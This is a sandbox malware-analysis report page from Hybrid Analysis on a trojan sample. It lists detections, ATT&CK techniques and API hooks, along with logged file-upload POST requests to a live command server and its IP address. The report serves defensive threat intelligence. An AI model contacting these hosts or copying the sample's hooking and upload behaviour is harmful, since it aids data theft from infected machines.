24:I[7638,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/136wug8odqdqr.js"],"SampleDetailWrapper"] 28:I[27201,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T477,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Malware Sample fa7c09036e54… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample fa7c09036e54…. Malware family: Malware. Threat score 100/100. 21/28 AV engines flagged this file. 3 malicious and 11 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/fa7c09036e545cb4898df21e284d81aded9d1d86e85af899bfb14d16a19b625c","keywords":["Malicious","Malware","malware analysis","sandbox report","threat intelligence","fa7c09036e545cb4898df21e284d81aded9d1d86e85af899bfb14d16a19b625c"],"about":{"@type":"SoftwareApplication","name":"bounty-28845262857112702","applicationCategory":["peexe","executable"],"identifier":"fa7c09036e545cb4898df21e284d81aded9d1d86e85af899bfb14d16a19b625c","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Malware","antivirusDetections":{"malicious":21,"total":28},"behavioralIndicators":{"malicious":3,"suspicious":11},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:T852,".exe" wrote bytes "f8110000" to virtual address "0x74CF12CC" (part of module "SSPICLI.DLL") ".exe" wrote bytes "f8110000" to virtual address "0x74CF1408" (part of module "SSPICLI.DLL") ".exe" wrote bytes "b840137571ffe0" to virtual address "0x74CF1248" (part of module "SSPICLI.DLL") ".exe" wrote bytes "68130000" to virtual address "0x75271680" (part of module "WS2_32.DLL") ".exe" wrote bytes "c04ef7762054f876e065f876b538f9760000000000d05c7500000000c5ea5c750000000088ea5c7500000000e968e7748228f976ee29f97600000000d269e774000000007dbb5c750000000009bee77400000000ba185c7500000000" to virtual address "0x770C1000" (part of module "NSI.DLL") ".exe" wrote bytes "4812cf74" to virtual address "0x74D083DC" (part of module "SSPICLI.DLL") ".exe" wrote bytes "b830127571ffe0" to virtual address "0x75271368" (part of module "WS2_32.DLL") ".exe" wrote bytes "4812cf74" to virtual address "0x74D083C0" (part of module "SSPICLI.DLL") ".exe" wrote bytes "f811cf74" to virtual address "0x74D083E0" (part of module "SSPICLI.DLL") ".exe" wrote bytes "48120000" to virtual address "0x74CF139C" (part of module "SSPICLI.DLL") ".exe" wrote bytes "48120000" to virtual address "0x74CF12DC" (part of module "SSPICLI.DLL") ".exe" wrote bytes "f811cf74" to virtual address "0x74D083C4" (part of module "SSPICLI.DLL") ".exe" wrote bytes "4812cf74" to virtual address "0x74D08364" (part of module "SSPICLI.DLL") ".exe" wrote bytes "60127571" to virtual address "0x76B1E324" (part of module "WININET.DLL") ".exe" wrote bytes "b8c0157571ffe0" to virtual address "0x74CF11F8" (part of module "SSPICLI.DLL") ".exe" wrote bytes "4812cf74" to virtual address "0x74D08348" (part of module "SSPICLI.DLL") ".exe" wrote bytes "f811cf74" to virtual address "0x74D08368" (part of module "SSPICLI.DLL") ".exe" wrote bytes "f811cf74" to virtual address "0x74D0834C" (part of module "SSPICLI.DLL")26:T616,"POST /skin15/include/bin/visab.php HTTP/1.1 Host: youngs.dgweb.kr:80 Content-type: multipart/form-data;boundary=-----------------------------00057b800785f Content-Length: 1057" with no payload "POST /skin15/include/bin/visab.php HTTP/1.1 Host: youngs.dgweb.kr:80 Content-type: multipart/form-data;boundary=-----------------------------0003e510079a5 Content-Length: 1057" with no payload "POST /skin15/include/bin/visab.php HTTP/1.1 Host: youngs.dgweb.kr:80 Content-type: multipart/form-data;boundary=-----------------------------0007589007fcf Content-Length: 1057" with no payload "POST /skin15/include/bin/visab.php HTTP/1.1 Host: youngs.dgweb.kr:80 Content-type: multipart/form-data;boundary=-----------------------------0007010007d83 Content-Length: 1057" with no payload "POST /skin15/include/bin/visab.php HTTP/1.1 Host: youngs.dgweb.kr:80 Content-type: multipart/form-data;boundary=-----------------------------0003f38000cd2 Content-Length: 1057" with no payload "POST /skin15/include/bin/visab.php HTTP/1.1 Host: youngs.dgweb.kr:80 Content-type: multipart/form-data;boundary=-----------------------------00057a400052a Content-Length: 1057" with no payload "POST /skin15/include/bin/visab.php HTTP/1.1 Host: youngs.dgweb.kr:80 Content-type: multipart/form-data;boundary=-----------------------------0001e61007f0b Content-Length: 1057" with no payload "POST /skin15/include/bin/visab.php HTTP/1.1 Host: youngs.dgweb.kr:80 Content-type: multipart/form-data;boundary=-----------------------------0006d89000e59 Content-Length: 1057" with no payload27:T570,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAD2UlEQVR42u2X21cTVxTG/b/6jlatFbkoeI1oi66FS0EEBF2QkHsgxgAWCYZwCYEQkNraSu2rLcQ++NQ+6Ru+EHKbWy74uc8MSQY6Y4i69IWz1rfO5Mxl//Z39jkzOXBgv33tZnW60ddv+6LqtzhQBLDYHPjv9Tpe/fuG9Pqz6sdOj2bPIEoO2Afx12r0k7S69hJr0X+w9lLRKh3/TWNMWtfvADCZHUjzIrIZCRlJ/Agp90ka2n0tiyFkcrsB7PLgl9T/AHL5vHxiZeUFnv/5ak9a+eMF8rmsrGg0qqlC5t9cmZDFjjUB8tsA7ME1PQuovRNGXe886o1zOGkO4ZQ1hEZnEI0DMzjjmcJZ76R87dv1dWREvuw0VQRwwbYMg+MxDM4lNA0u4pIngsveBfwwMo/m0Tlc8YVw1T+rAuA+zQH2Y0sF0OL9FS3Dv+Dagye4/pDkW0ar/zHaAku4Ob2I9mAEHXPhIkCWAJQiFJReFDQdqDIN6wNwglgE6Bh/hi7/7+gK/Ibu6ae4QcGv+cNoHg/i4pgfBt84miZ8JQCBL+sAC378gVMfIMUJRQBj8DnuzjxD01AIx2xjOGgZwreO+zgy4MHRe24c8w7g+IhTBcAVM5cK/S4XWPDGmd69AbQ++hlHzKOo6h/GIZsXh50UfPAevrs/iO+HXfLDTjy0qwDSZR1gwZuftugDpFUAVcYRJWs7BS9mTcFHXKj+yYETYzbUPrLsqAGJNiNR0F8NLPiHAfgSwCHrtuUsaw8FHxqQs64etaPGZ0Wd34yTAVNpFQjlV8EeAEpFeNhFWbtVlrOsyfLacSvqJ/pxatKIBrK0CMBzFW3jZQHUhVY96kANWV5HltcHKPhUH83nXZwJ9VS0D1QEoC602oLlkyY0TPfidPAOzs5143y4cwdAZnsFfBYH1IUmWz5lVLKe7cG5+ds4v9AJw2J7EUCkGmAFqLUBsTGBzqVSKSQSCSQT8fIA6kJrmO6jrJnl3TgX7sKFSAcuLrWjabmtCCB9YBlKIj2XAJPJBOLxOBLxTR0A1U6oLrTTs8zy27LlhsgtCn4Tl5ZbcfnJdRVASjP7ggM8FSnLPBaLYXMzpg3AC8qHwuTU4p5fxxOBiDIFvH4R8hyHdCpJgTcVgJgOQDKtOMDe7eyhlYhPlxxgPasHjksjlVbmnWW9sbEhSxcgnhLlVzK2MshKHIAskKexDI8cCVsSjb0jbZHyynlk8C6nFFlh/xcFARw5kqbgKco8QXOfVIm5oQvw1T7J2Dd6T5/5o7/xTXS/xe6C3eWG1eGG2eqEscw9N9puYf8f2X4rtPd75aQEj4uK3gAAAABJRU5ErkJggg==1b:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$23"}}],["$","$L24",null,{"initialData":{"schema_version":"1.0.15","sha256":"fa7c09036e545cb4898df21e284d81aded9d1d86e85af899bfb14d16a19b625c","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1791600230090,"unified_at":"2026-10-10T02:43:50.090Z","metadata":{"hashes":{"sha256":"fa7c09036e545cb4898df21e284d81aded9d1d86e85af899bfb14d16a19b625c","sha1":"0e4fa672096df11770fade89e7d2ed5dfab85a2c","md5":"0bc4139287377102db89912ae8aac14d","sha512":"45c776ff1fb8af19da2f946e2cff0c3b6ab096df9f1d97cd6036b5be8c2ab0cedbbf198a49adc87a844b2aba8d7a1d2827b8e39f7aa473cdb3c13cd687e5ec72","ssdeep":"768:QaHyi2/O15uy/uy/xY38eO/IZiQNwvUZ9ganwZb5GEwBdEe7:Qag/Zsuy+FNVLRnwZVGEwBdEe7","ssdeep_chunks":["768:QaHyi2/","768:aHyi2/O","768:Hyi2/O1","768:yi2/O15","768:i2/O15u","768:2/O15uy","768:/O15uy/","768:O15uy/u","768:15uy/uy","768:5uy/uy/","768:uy/uy/x","768:y/uy/xY","768:/uy/xY3","768:uy/xY38","768:y/xY38e","768:/xY38eO","768:xY38eO/","768:Y38eO/I","768:38eO/IZ","768:8eO/IZi","768:eO/IZiQ","768:O/IZiQN","768:/IZiQNw","768:IZiQNwv","768:ZiQNwvU","768:iQNwvUZ","768:QNwvUZ9","768:NwvUZ9g","768:wvUZ9ga","768:vUZ9gan","768:UZ9ganw","768:Z9ganwZ","768:9ganwZb","768:ganwZb5","768:anwZb5G","768:nwZb5GE","768:wZb5GEw","768:Zb5GEwB","768:b5GEwBd","768:5GEwBdE","768:GEwBdEe","768:EwBdEe7","1536:QaHyi2/","1536:aHyi2/O","1536:Hyi2/O1","1536:yi2/O15","1536:i2/O15u","1536:2/O15uy","1536:/O15uy/","1536:O15uy/u","1536:15uy/uy","1536:5uy/uy/","1536:uy/uy/x","1536:y/uy/xY","1536:/uy/xY3","1536:uy/xY38","1536:y/xY38e","1536:/xY38eO","1536:xY38eO/","1536:Y38eO/I","1536:38eO/IZ","1536:8eO/IZi","1536:eO/IZiQ","1536:O/IZiQN","1536:/IZiQNw","1536:IZiQNwv","1536:ZiQNwvU","1536:iQNwvUZ","1536:QNwvUZ9","1536:NwvUZ9g","1536:wvUZ9ga","1536:vUZ9gan","1536:UZ9ganw","1536:Z9ganwZ","1536:9ganwZb","1536:ganwZb5","1536:anwZb5G","1536:nwZb5GE","1536:wZb5GEw","1536:Zb5GEwB","1536:b5GEwBd","1536:5GEwBdE","1536:GEwBdEe","1536:EwBdEe7","768:Qag/Zsu","768:ag/Zsuy","768:g/Zsuy+","768:/Zsuy+F","768:Zsuy+FN","768:suy+FNV","768:uy+FNVL","768:y+FNVLR","768:+FNVLRn","768:FNVLRnw","768:NVLRnwZ","768:VLRnwZV","768:LRnwZVG","768:RnwZVGE","768:nwZVGEw","768:wZVGEwB","768:ZVGEwBd","768:VGEwBdE"],"imphash":"552532bbd2c975f5919a2bd38a7cbeda"},"file_info":{"file_name":"bounty-28845262857112702","file_type":["peexe","executable"],"file_type_id":"exe","file_size":41984,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1553600222000,"last_seen":1618688989000,"last_multi_scan":1618688989000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":null},"stats":{"av":{"malicious_count":21,"suspicious_count":0,"total_engines":28},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":4},"sandbox_signatures":{"informative_count":7,"suspicious_count":11,"malicious_count":3,"total":21},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"aegislab":{"name":"AegisLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"ahnlab":{"name":"Ahnlab","success":true,"verdict":"malicious","threat_name":"Trojan/Win32.Agent","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"malicious","threat_name":"Trojan/Win32.PoorWeb","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"HEUR/AGEN.1120940","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"BitDefender","success":true,"verdict":"malicious","threat_name":"Trojan.GenericKD.41126901","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bytehero":{"name":"ByteHero","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"comodo":{"name":"Comodo","success":true,"verdict":"malicious","threat_name":"Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"malicious","threat_name":"win/malicious_confidence_60% (D)","status":"malicious","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"cyren":{"name":"Cyren","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"Trojan.GenericKD.41126901 (B)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"a variant of Win32/Agent.RQD trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"ikarus":{"name":"Ikarus","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Agent","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"malicious","threat_name":"Trojan ( 001a31491 )","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"kaspersky":{"name":"Kaspersky","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.PoorWeb.c","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"mcafee":{"name":"McAfee","success":true,"verdict":"malicious","threat_name":"Trojan-FQXA","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.PoorWeb.fohmko","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"quickheal":{"name":"Quick Heal","success":true,"verdict":"malicious","threat_name":"Trojan.Esulat","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"malicious","threat_name":"Threat-Generic://Malicious-Confidence_96","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"symantec":{"name":"Symantec","success":true,"verdict":"malicious","threat_name":"Trojan Horse","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"malicious","threat_name":"Backdoor/W32.Agent.92160.AX","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicro":{"name":"TrendMicro","success":true,"verdict":"malicious","threat_name":"BKDR_PO.7C5E1249","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicrohousecall":{"name":"TrendMicro House Call","success":true,"verdict":"malicious","threat_name":"BKDR_PO.7C5E1249","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"malicious","threat_name":"BScope.Trojan.PoorWeb","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"xviruspersonalguard":{"name":"Xvirus Personal Guard","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"malicious","threat_name":"Trojan.PoorWeb.Win32.3","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Malware","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Persistence","technique":"Hooking","attack_id":"T1179","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1179","identifiers":[{"type":"suspicious","value":"Installs hooks/patches the running process"}],"sources":[{"report_type":"sandbox","report_id":"5c9a0d790288384f531ac18d"},{"report_type":"sandbox","report_id":"5c9a0d7903883831451ac18e"}]},{"tactic":"Defense Evasion","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1112","identifiers":[{"type":"informative","value":"Creates or modifies windows services"}],"sources":[{"report_type":"sandbox","report_id":"5c9a0d790288384f531ac18d"},{"report_type":"sandbox","report_id":"5c9a0d7903883831451ac18e"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1012","identifiers":[{"type":"suspicious","value":"Queries the internet cache settings (often used to hide footprints in index.dat or internet cache)"},{"type":"suspicious","value":"Reads the active computer name"},{"type":"suspicious","value":"Monitors specific registry key for changes"}],"sources":[{"report_type":"sandbox","report_id":"5c9a0d790288384f531ac18d"},{"report_type":"sandbox","report_id":"5c9a0d7903883831451ac18e"}]},{"tactic":"Exfiltration","technique":"Data Compressed","attack_id":"T1002","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1002","identifiers":[{"type":"informative","value":"Matched Compiler/Packer signature"}],"sources":[{"report_type":"sandbox","report_id":"5c9a0d790288384f531ac18d"},{"report_type":"sandbox","report_id":"5c9a0d7903883831451ac18e"}]}],"sandbox_signatures":[{"level":"informative","category":"Anti-Reverse Engineering","name":"PE file contains zero-size sections","description":"Raw size of \"nZqv\" is zero","origin":"Static Parser","relevance":10,"id":"static-5","sources":[{"report_type":"sandbox","report_id":"5c9a0d790288384f531ac18d"},{"report_type":"sandbox","report_id":"5c9a0d7903883831451ac18e"}]},{"level":"informative","category":"Installation/Persistance","name":"Touches files in the Windows directory","description":"\".exe\" touched file \"%WINDIR%\\Globalization\\Sorting\\SortDefault.nls\"","origin":"API Call","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"5c9a0d790288384f531ac18d"},{"report_type":"sandbox","report_id":"5c9a0d7903883831451ac18e"}]},{"level":"informative","category":"System Security","name":"Creates or modifies windows services","description":"\".exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CURRENTCONTROLSET\\SERVICES\\TCPIP\\PARAMETERS\")","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-67","sources":[{"report_type":"sandbox","report_id":"5c9a0d790288384f531ac18d"},{"report_type":"sandbox","report_id":"5c9a0d7903883831451ac18e"}]},{"level":"informative","category":"Unusual Characteristics","name":"Matched Compiler/Packer signature","description":"\"fa7c09036e545cb4898df21e284d81aded9d1d86e85af899bfb14d16a19b625c.bin\" was detected as \"UPX v1.25 (Delphi) Stub\"","origin":"Static Parser","mitre_attack_id":"T1002","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"5c9a0d790288384f531ac18d"},{"report_type":"sandbox","report_id":"5c9a0d7903883831451ac18e"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"PE file has unusual entropy sections","description":"1Nug with unusual entropies 7.85906438818","origin":"Static Parser","relevance":10,"id":"static-6","sources":[{"report_type":"sandbox","report_id":"5c9a0d790288384f531ac18d"},{"report_type":"sandbox","report_id":"5c9a0d7903883831451ac18e"}]},{"level":"suspicious","category":"Environment Awareness","name":"Reads the active computer name","description":"\".exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"5c9a0d790288384f531ac18d"},{"report_type":"sandbox","report_id":"5c9a0d7903883831451ac18e"}]},{"level":"suspicious","category":"Installation/Persistance","name":"Monitors specific registry key for changes","description":"\".exe\" monitors \"\\REGISTRY\\MACHINE\\SYSTEM\\ControlSet001\\services\\WinSock2\\Parameters\\Protocol_Catalog9\" (Filter: 1; Subtree: 0)\n \".exe\" monitors \"\\REGISTRY\\MACHINE\\SYSTEM\\ControlSet001\\services\\WinSock2\\Parameters\\NameSpace_Catalog5\" (Filter: 1; Subtree: 0)","origin":"API Call","mitre_attack_id":"T1012","relevance":4,"id":"api-12","sources":[{"report_type":"sandbox","report_id":"5c9a0d790288384f531ac18d"},{"report_type":"sandbox","report_id":"5c9a0d7903883831451ac18e"}]},{"level":"suspicious","category":"Network Related","name":"Found potential IP address in binary/memory","description":"\"1.7.3.2\"","origin":"File/Memory","relevance":3,"id":"string-14","sources":[{"report_type":"sandbox","report_id":"5c9a0d790288384f531ac18d"},{"report_type":"sandbox","report_id":"5c9a0d7903883831451ac18e"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Entrypoint in PE header is within an uncommon section","description":"\"fa7c09036e545cb4898df21e284d81aded9d1d86e85af899bfb14d16a19b625c.bin\" has an entrypoint in section \"1Nug\"","origin":"Static Parser","relevance":10,"id":"static-4","sources":[{"report_type":"sandbox","report_id":"5c9a0d790288384f531ac18d"},{"report_type":"sandbox","report_id":"5c9a0d7903883831451ac18e"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Imports suspicious APIs","description":"GetUserNameW\n VirtualProtect\n GetProcAddress\n VirtualAlloc\n LoadLibraryA\n InternetOpenW","origin":"Static Parser","relevance":1,"id":"static-1","sources":[{"report_type":"sandbox","report_id":"5c9a0d790288384f531ac18d"},{"report_type":"sandbox","report_id":"5c9a0d7903883831451ac18e"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Installs hooks/patches the running process","description":"$25","origin":"Hook Detection","mitre_attack_id":"T1179","relevance":10,"id":"hooks-8","sources":[{"report_type":"sandbox","report_id":"5c9a0d790288384f531ac18d"},{"report_type":"sandbox","report_id":"5c9a0d7903883831451ac18e"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a large number of Antivirus engines","description":"46/70 Antivirus vendors marked sample as malicious (65% detection rate)","origin":"External System","relevance":10,"id":"avtest-3","sources":[{"report_type":"sandbox","report_id":"5c9a0d790288384f531ac18d"},{"report_type":"sandbox","report_id":"5c9a0d7903883831451ac18e"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"46/70 Antivirus vendors marked sample as malicious (65% detection rate)","origin":"External System","relevance":8,"id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"5c9a0d790288384f531ac18d"},{"report_type":"sandbox","report_id":"5c9a0d7903883831451ac18e"}]},{"level":"informative","category":"General","name":"Contacts domains","description":"\"youngs.dgweb.kr\"\n \"youngs.dgweb.kr:80\"","origin":"Network Traffic","relevance":1,"id":"network-0","sources":[{"report_type":"sandbox","report_id":"5c9a0d7903883831451ac18e"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"119.207.79.31:80\"","origin":"Network Traffic","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"5c9a0d7903883831451ac18e"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"Heuristic match: \"youngs.dgweb.kr\"","origin":"File/Memory","relevance":10,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"5c9a0d7903883831451ac18e"}]},{"level":"suspicious","category":"Anti-Detection/Stealthyness","name":"Queries the internet cache settings (often used to hide footprints in index.dat or internet cache)","description":"\".exe\" (Access type: \"QUERYVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"DISABLECACHINGOFSSLPAGES\"; Value: \"00000000040000000400000000000000\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":3,"id":"registry-29","sources":[{"report_type":"sandbox","report_id":"5c9a0d7903883831451ac18e"}]},{"level":"suspicious","category":"External Systems","name":"Found an IP/URL artifact that was identified as malicious by at least one reputation engine","description":"1/69 reputation engines marked \"http://youngs.dgweb.kr\" as malicious (1% detection rate)","origin":"External System","relevance":10,"id":"avtest-6","sources":[{"report_type":"sandbox","report_id":"5c9a0d7903883831451ac18e"}]},{"level":"suspicious","category":"General","name":"POSTs files to a webserver","description":"$26","origin":"Network Traffic","relevance":5,"id":"network-4","sources":[{"report_type":"sandbox","report_id":"5c9a0d7903883831451ac18e"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"TCP traffic to 119.207.79.31 on port 80 is sent without HTTP header","origin":"Network Traffic","relevance":5,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"5c9a0d7903883831451ac18e"}]},{"level":"malicious","category":"Network Related","name":"Malicious artifacts seen in the context of a contacted host","description":"Found malicious artifacts related to \"119.207.79.31\": ...\n\n URL: http://youngs.dgweb.kr/skin15/include/bin/visab.php (AV positives: 1/69 scanned on 03/20/2019 00:53:53)\n URL: http://youngs.dgweb.kr/ (AV positives: 1/66 scanned on 11/21/2018 01:08:13)\n URL: http://youngs.dgweb.kr/skin15/include/bin/gustab.php (AV positives: 1/67 scanned on 10/08/2018 00:39:24)\n URL: http://tsglove.com/cheditor/example/pay/ (AV positives: 2/65 scanned on 02/15/2017 13:58:27)\n URL: http://www.tsglove.com/cheditor/example/pay/index.php?token=313135303838 (AV positives: 3/64 scanned on 02/13/2017 00:17:23)\n File SHA256: fa7c09036e545cb4898df21e284d81aded9d1d86e85af899bfb14d16a19b625c (Date: 03/20/2019 01:34:52)\n File SHA256: d057088d0de3d920ea0939217c756274018b6e89cbfc74f66f50a9d27a384b09 (AV positives: 50/69 scanned on 01/09/2019 05:39:11)\n File SHA256: e452536f98446f54c6527106c7b123de12f010d3f1fcb25812f533d797253128 (AV positives: 22/69 scanned on 10/08/2018 00:39:24)","origin":"Network Traffic","relevance":10,"id":"network-21","sources":[{"report_type":"sandbox","report_id":"5c9a0d7903883831451ac18e"}]}],"incidents":[{"name":"Fingerprint","details_count":1,"details":[{"detail":"Reads the active computer name"}],"sources":[{"report_type":"sandbox","report_id":"5c9a0d790288384f531ac18d"},{"report_type":"sandbox","report_id":"5c9a0d7903883831451ac18e"}]},{"name":"Spyware","details_count":1,"details":[{"detail":"POSTs files to a webserver"}],"sources":[{"report_type":"sandbox","report_id":"5c9a0d7903883831451ac18e"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 2 domains and 2 hosts"}],"sources":[{"report_type":"sandbox","report_id":"5c9a0d7903883831451ac18e"}]}]},"activity":{"stats":{"process_count":1,"spawned_processes_count":1,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":0,"imported_dlls_count":54,"dropped_files_count":0,"extracted_files_count":0,"files_written_count":3,"files_deleted_count":0,"registry_keys_created_count":2,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":2,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":1,"dns_resolutions_count":2,"contacted_urls_count":1,"http_requests_count":1},"behavior_tags":null,"sample_flags":["Sample not shared","Network Traffic"],"sandbox_reports":[{"id":"5c9a0d7903883831451ac18e","environment_id":120,"environment_description":"Windows 7 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Trojan.Generic","contacted_countries":["KOR"],"submit_name":"fa7c09036e545cb4898df21e284d81aded9d1d86e85af899bfb14d16a19b625c.exe","analysis_start_time":"2019-03-26T11:21:59+00:00","indicators_count":{"informative":7,"suspicious":13,"malicious":4},"tags":["Network Traffic","Sample not shared"],"is_in_unified_schema":true},{"id":"5c9a0d790288384f531ac18d","environment_id":100,"environment_description":"Windows 7 32 